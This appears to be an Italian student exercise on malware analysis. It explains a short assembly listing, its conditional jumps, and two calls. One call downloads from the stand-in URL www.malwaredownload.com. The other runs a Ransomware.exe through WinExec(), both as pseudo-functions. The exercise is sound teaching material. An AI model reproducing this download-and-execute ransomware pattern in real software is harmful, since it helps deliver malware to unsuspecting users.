ANALIZZARE IL COMPORTAMENTO DEL MALWARE

Con riferimento al codice sottostante possiamo analizzare quanto segue

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

SALTO CONDIZIONALE

Il malware effettua un salto condizionale alla loc 0040FFA0, poichè il valore di EBX inizialmente passato a 10, viene incrementato alla riga 0040105F di 1, dunque al momento della comparazione il JZ avviene il jump poichè il flag è settato a 1 in quanto: destinazione=sorgente

0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

DIAGRAMMA DI FLUSSO

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

LEGGENDA

FRECCIA ROSSA: SALTO CONDIZIONATO NON EFFETTUATO

FRECCIA VERDE: SALTO CONDIZIONATO EFFETTUATO

ANALISI FUNZIONALITÀ IMPLEMENTATE ALL'INTERNO DEL MALWARE

Sappiamo che il malware presente è un Ransomware. Le caratteristiche di questo malware possono essere diverse. Alcune di queste forme di Ransomware bloccano il sistema e intimano all'utente di pagare per poterlo sbloccare, altre invece cifrano i file dell'utente chiedendo il pagamento per portare i file cifrati in chiaro.

Nel nostro caso il Ransomware, esegue il suo codice malevolo innestato sul path C:\Program and Settings\LocalUser\Desktop\Ramsonware.exe.
Codice richiamato tramite url www.malwaredownload.com.
(nel nostro esempio avviene un jnz quindi non viene scaricato, ma sicuramente viene downloadato in precedenza).
L'operando WinExec() permette all'attaccante di specificare il programma e determinare come questo venga mostrato a display, inoltre va a richiamare l' exe. presente nel path descritto.

ISTRUZIONI CALL

Facciamo riferimento alle istruzioni "call" per dettagliare sul come vengono passati gli argomenti alle successive chiamate di funzione:

Il parametro EDI, viene prima inserito nel registro EAX, dopodichè viene pushato l'url ed infine viene eseguito con la call.

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Nella seconda porzione di codice l'argomento viene passato al registro EDX (salvato in precedenza nel path descritto), dopodichè viene pushato l'.exe ed infine eseguito con l'operando WinExec().

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione